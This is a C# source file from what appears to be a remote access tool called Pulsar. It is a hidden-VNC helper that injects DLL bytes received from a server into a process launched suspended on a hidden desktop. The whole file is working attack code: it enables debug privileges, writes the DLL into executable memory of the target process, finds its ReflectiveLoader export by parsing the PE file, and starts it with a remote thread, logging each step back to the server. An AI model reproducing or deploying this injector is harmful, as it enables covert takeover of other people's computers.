using Pulsar.Client.LoggingAPI; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Text; namespace Pulsar.Client.Helper.HVNC { internal class KDOTInjector { /// /// Starts the reflective DLL injection process /// /// The DLL bytes to inject (received from server) /// Path to the executable to start and inject into /// Pattern to search for in the target process /// Replacement path for the search pattern /// Process ID of the started process, or 0 if failed public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath) { try { if (dllBytes == null || dllBytes.Length == 0) { UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided"); return 0; } if (string.IsNullOrWhiteSpace(exePath)) { UniversalDebugLogger.SendLogToServer("[-] No target executable specified"); return 0; } if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath)) { UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required"); return 0; } UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection"); UniversalDebugLogger.SendLogToServer($" Target: {exePath}"); UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}"); UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}"); UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes"); PrivilegeManager.EnableDebugPrivilege(); var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath); if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero) { UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process"); return 0; } int processId = process.Id; UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}"); try { bool success = Injector.InjectDllWithHandle(hProcess, dllBytes); if (success) { UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}"); UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}"); UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}"); } else { UniversalDebugLogger.SendLogToServer("[-] Injection failed"); Injector.CloseHandle(hProcess); Injector.CloseHandle(hThread); if (!process.HasExited) { process.Kill(); } return 0; } } finally { Injector.CloseHandle(hProcess); } UniversalDebugLogger.SendLogToServer("[+] Resuming main thread..."); ProcessManager.ResumeThreadExP(hThread); Injector.CloseHandle(hThread); UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes."); return processId; } catch (Exception ex) { UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}"); return 0; } } } /// /// Manages process creation and interaction /// internal static class ProcessManager { [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] private static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError = true)] private static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CloseHandle(IntPtr hObject); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } private const uint CREATE_SUSPENDED = 0x00000004; private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; private const int STARTF_USEPOSITION = 0x00000004; public static Process StartProcessNormal(string exePath) { if (!File.Exists(exePath)) { Debug.WriteLine($"[-] Executable not found: {exePath}"); return null; } try { ProcessStartInfo psi = new ProcessStartInfo { FileName = exePath, UseShellExecute = false, WorkingDirectory = Path.GetDirectoryName(exePath) }; Process process = Process.Start(psi); return process; } catch (Exception ex) { Debug.WriteLine($"[-] Failed to start process: {ex.Message}"); return null; } } private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath) { var envVars = Environment.GetEnvironmentVariables(); var envDict = new Dictionary(); foreach (System.Collections.DictionaryEntry entry in envVars) { envDict[entry.Key.ToString()] = entry.Value.ToString(); } envDict["RDI_SEARCH_PATH"] = searchPath; envDict["RDI_REPLACE_PATH"] = replacePath; var envList = new List(); foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase)) { envList.Add($"{kvp.Key}={kvp.Value}"); } string envBlock = string.Join("\0", envList) + "\0\0"; byte[] envBytes = Encoding.Unicode.GetBytes(envBlock); IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length); Marshal.Copy(envBytes, 0, envPtr, envBytes.Length); return envPtr; } public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath) { if (!File.Exists(exePath)) { Debug.WriteLine($"[-] Executable not found: {exePath}"); return (null, IntPtr.Zero, IntPtr.Zero); } IntPtr envBlock = IntPtr.Zero; try { STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "PulsarDesktop"; si.dwX = 0; si.dwY = 0; si.dwFlags = STARTF_USEPOSITION; PROCESS_INFORMATION pi; string commandLine = $"\"{exePath}\" --window-position=0,0"; envBlock = CreateEnvironmentBlock(searchPath, replacePath); Debug.WriteLine($"[*] Setting environment variables:"); Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}"); Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}"); bool success = CreateProcess( null, commandLine, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT, envBlock, Path.GetDirectoryName(exePath), ref si, out pi); if (!success) { int error = Marshal.GetLastWin32Error(); Debug.WriteLine($"[-] Failed to create process. Error: {error}"); return (null, IntPtr.Zero, IntPtr.Zero); } Process process = Process.GetProcessById((int)pi.dwProcessId); return (process, pi.hProcess, pi.hThread); } catch (Exception ex) { Debug.WriteLine($"[-] Failed to start process: {ex.Message}"); return (null, IntPtr.Zero, IntPtr.Zero); } finally { if (envBlock != IntPtr.Zero) { Marshal.FreeHGlobal(envBlock); } } } public static void ResumeThreadExP(IntPtr hThread) { if (hThread != IntPtr.Zero) { uint suspendCount = ResumeThread(hThread); if (suspendCount == unchecked((uint)-1)) { Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}"); } } } } /// /// Manages Windows privileges (SeDebugPrivilege) /// internal static class PrivilegeManager { [DllImport("advapi32.dll", SetLastError = true)] private static extern bool OpenProcessToken( IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] private static extern bool LookupPrivilegeValue( string lpSystemName, string lpName, out LUID lpLuid); [DllImport("advapi32.dll", SetLastError = true)] private static extern bool AdjustTokenPrivileges( IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CloseHandle(IntPtr hObject); private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; private const uint TOKEN_QUERY = 0x0008; private const uint SE_PRIVILEGE_ENABLED = 0x00000002; private const string SE_DEBUG_NAME = "SeDebugPrivilege"; [StructLayout(LayoutKind.Sequential)] private struct LUID { public uint LowPart; public int HighPart; } [StructLayout(LayoutKind.Sequential)] private struct LUID_AND_ATTRIBUTES { public LUID Luid; public uint Attributes; } [StructLayout(LayoutKind.Sequential)] private struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID_AND_ATTRIBUTES Privileges; } public static void EnableDebugPrivilege() { try { IntPtr hToken; if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken)) { TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES { PrivilegeCount = 1, Privileges = new LUID_AND_ATTRIBUTES { Attributes = SE_PRIVILEGE_ENABLED } }; if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid)) { AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); } CloseHandle(hToken); } } catch { // windows basically just gave us the middle finger } } } /// /// Handles DLL injection using reflective loading /// internal static class Injector { [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr OpenProcess( ProcessAccessFlags processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] private static extern IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); [DllImport("kernel32.dll", SetLastError = true)] private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CloseHandle(IntPtr hObject); private const uint INFINITE = 0xFFFFFFFF; [Flags] private enum ProcessAccessFlags : uint { PROCESS_CREATE_THREAD = 0x0002, PROCESS_QUERY_INFORMATION = 0x0400, PROCESS_VM_OPERATION = 0x0008, PROCESS_VM_WRITE = 0x0020, PROCESS_VM_READ = 0x0010, All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ } [Flags] private enum AllocationType : uint { MEM_COMMIT = 0x1000, MEM_RESERVE = 0x2000 } [Flags] private enum MemoryProtection : uint { PAGE_EXECUTE_READWRITE = 0x40, PAGE_READWRITE = 0x04 } public static bool InjectDll(int processId, byte[] dllBuffer) { IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId); if (hProcess == IntPtr.Zero) { Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}"); return false; } try { IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer); if (hThread == IntPtr.Zero) { Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}"); return false; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return true; } finally { CloseHandle(hProcess); } } public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer) { if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0) { Debug.WriteLine("[-] Invalid parameters for injection"); return false; } IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer); if (hThread == IntPtr.Zero) { Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}"); return false; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return true; } private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer) { try { if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0) return IntPtr.Zero; uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer); if (reflectiveLoaderOffset == 0) { Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL"); return IntPtr.Zero; } IntPtr lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, IntPtr.Zero, (uint)buffer.Length, AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT, MemoryProtection.PAGE_EXECUTE_READWRITE); if (lpRemoteLibraryBuffer == IntPtr.Zero) { Debug.WriteLine("[-] Failed to allocate memory in remote process"); return IntPtr.Zero; } IntPtr bytesWritten; if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten)) { Debug.WriteLine("[-] Failed to write DLL to remote process"); return IntPtr.Zero; } IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset); IntPtr threadId; IntPtr hThread = CreateRemoteThread( hProcess, IntPtr.Zero, 1024 * 1024, lpReflectiveLoader, IntPtr.Zero, 0, out threadId); return hThread; } catch (Exception ex) { Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}"); return IntPtr.Zero; } } } /// /// Parses PE (Portable Executable) file format /// internal static class PEParser { #region PE Structures [StructLayout(LayoutKind.Sequential)] private struct IMAGE_DOS_HEADER { public ushort e_magic; public ushort e_cblp; public ushort e_cp; public ushort e_crlc; public ushort e_cparhdr; public ushort e_minalloc; public ushort e_maxalloc; public ushort e_ss; public ushort e_sp; public ushort e_csum; public ushort e_ip; public ushort e_cs; public ushort e_lfarlc; public ushort e_ovno; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public ushort[] e_res; public ushort e_oemid; public ushort e_oeminfo; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public ushort[] e_res2; public int e_lfanew; } [StructLayout(LayoutKind.Sequential)] private struct IMAGE_FILE_HEADER { public ushort Machine; public ushort NumberOfSections; public uint TimeDateStamp; public uint PointerToSymbolTable; public uint NumberOfSymbols; public ushort SizeOfOptionalHeader; public ushort Characteristics; } [StructLayout(LayoutKind.Sequential)] private struct IMAGE_DATA_DIRECTORY { public uint VirtualAddress; public uint Size; } [StructLayout(LayoutKind.Sequential)] private struct IMAGE_OPTIONAL_HEADER32 { public ushort Magic; public byte MajorLinkerVersion; public byte MinorLinkerVersion; public uint SizeOfCode; public uint SizeOfInitializedData; public uint SizeOfUninitializedData; public uint AddressOfEntryPoint; public uint BaseOfCode; public uint BaseOfData; public uint ImageBase; public uint SectionAlignment; public uint FileAlignment; public ushort MajorOperatingSystemVersion; public ushort MinorOperatingSystemVersion; public ushort MajorImageVersion; public ushort MinorImageVersion; public ushort MajorSubsystemVersion; public ushort MinorSubsystemVersion; public uint Win32VersionValue; public uint SizeOfImage; public uint SizeOfHeaders; public uint CheckSum; public ushort Subsystem; public ushort DllCharacteristics; public uint SizeOfStackReserve; public uint SizeOfStackCommit; public uint SizeOfHeapReserve; public uint SizeOfHeapCommit; public uint LoaderFlags; public uint NumberOfRvaAndSizes; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] public IMAGE_DATA_DIRECTORY[] DataDirectory; } [StructLayout(LayoutKind.Sequential)] private struct IMAGE_OPTIONAL_HEADER64 { public ushort Magic; public byte MajorLinkerVersion; public byte MinorLinkerVersion; public uint SizeOfCode; public uint SizeOfInitializedData; public uint SizeOfUninitializedData; public uint AddressOfEntryPoint; public uint BaseOfCode; public ulong ImageBase; public uint SectionAlignment; public uint FileAlignment; public ushort MajorOperatingSystemVersion; public ushort MinorOperatingSystemVersion; public ushort MajorImageVersion; public ushort MinorImageVersion; public ushort MajorSubsystemVersion; public ushort MinorSubsystemVersion; public uint Win32VersionValue; public uint SizeOfImage; public uint SizeOfHeaders; public uint CheckSum; public ushort Subsystem; public ushort DllCharacteristics; public ulong SizeOfStackReserve; public ulong SizeOfStackCommit; public ulong SizeOfHeapReserve; public ulong SizeOfHeapCommit; public uint LoaderFlags; public uint NumberOfRvaAndSizes; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] public IMAGE_DATA_DIRECTORY[] DataDirectory; } [StructLayout(LayoutKind.Sequential)] private struct IMAGE_SECTION_HEADER { [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] public byte[] Name; public uint VirtualSize; public uint VirtualAddress; public uint SizeOfRawData; public uint PointerToRawData; public uint PointerToRelocations; public uint PointerToLinenumbers; public ushort NumberOfRelocations; public ushort NumberOfLinenumbers; public uint Characteristics; } [StructLayout(LayoutKind.Sequential)] private struct IMAGE_EXPORT_DIRECTORY { public uint Characteristics; public uint TimeDateStamp; public ushort MajorVersion; public ushort MinorVersion; public uint Name; public uint Base; public uint NumberOfFunctions; public uint NumberOfNames; public uint AddressOfFunctions; public uint AddressOfNames; public uint AddressOfNameOrdinals; } private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0; private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b; private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b; #endregion PE Structures public static uint GetReflectiveLoaderOffset(byte[] buffer) { try { int baseAddress = 0; IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure(buffer, 0); int ntHeadersOffset = baseAddress + dosHeader.e_lfanew; uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset); if (signature != 0x00004550) // "PE\0\0" return 0; IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure(buffer, ntHeadersOffset + 4); int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)); ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset); uint exportDirRva; if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32 { if (IntPtr.Size != 4) return 0; IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure(buffer, optionalHeaderOffset); exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; } else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64 { if (IntPtr.Size != 8) return 0; IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure(buffer, optionalHeaderOffset); exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; } else { return 0; } if (exportDirRva == 0) return 0; uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress); if (exportDirOffset == 0) return 0; IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure(buffer, (int)exportDirOffset); uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress); uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress); uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress); for (uint i = 0; i < exportDir.NumberOfNames; i++) { uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4)); uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress); string functionName = ReadNullTerminatedString(buffer, (int)nameOffset); if (functionName.Contains("ReflectiveLoader")) { ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2)); uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4)); return Rva2Offset(functionRva, buffer, baseAddress); } } } catch { return 0; } return 0; } private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress) { IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure(buffer, 0); int ntHeadersOffset = baseAddress + dosHeader.e_lfanew; IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure(buffer, ntHeadersOffset + 4); int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader; IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure(buffer, sectionHeaderOffset); if (dwRva < firstSection.PointerToRawData) return dwRva; for (int i = 0; i < fileHeader.NumberOfSections; i++) { IMAGE_SECTION_HEADER section = ByteArrayToStructure(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData) { return dwRva - section.VirtualAddress + section.PointerToRawData; } } return 0; } private static T ByteArrayToStructure(byte[] bytes, int offset) where T : struct { int size = Marshal.SizeOf(typeof(T)); IntPtr ptr = Marshal.AllocHGlobal(size); try { Marshal.Copy(bytes, offset, ptr, size); return (T)Marshal.PtrToStructure(ptr, typeof(T)); } finally { Marshal.FreeHGlobal(ptr); } } private static string ReadNullTerminatedString(byte[] buffer, int offset) { int length = 0; while (offset + length < buffer.Length && buffer[offset + length] != 0) { length++; } return Encoding.ASCII.GetString(buffer, offset, length); } } }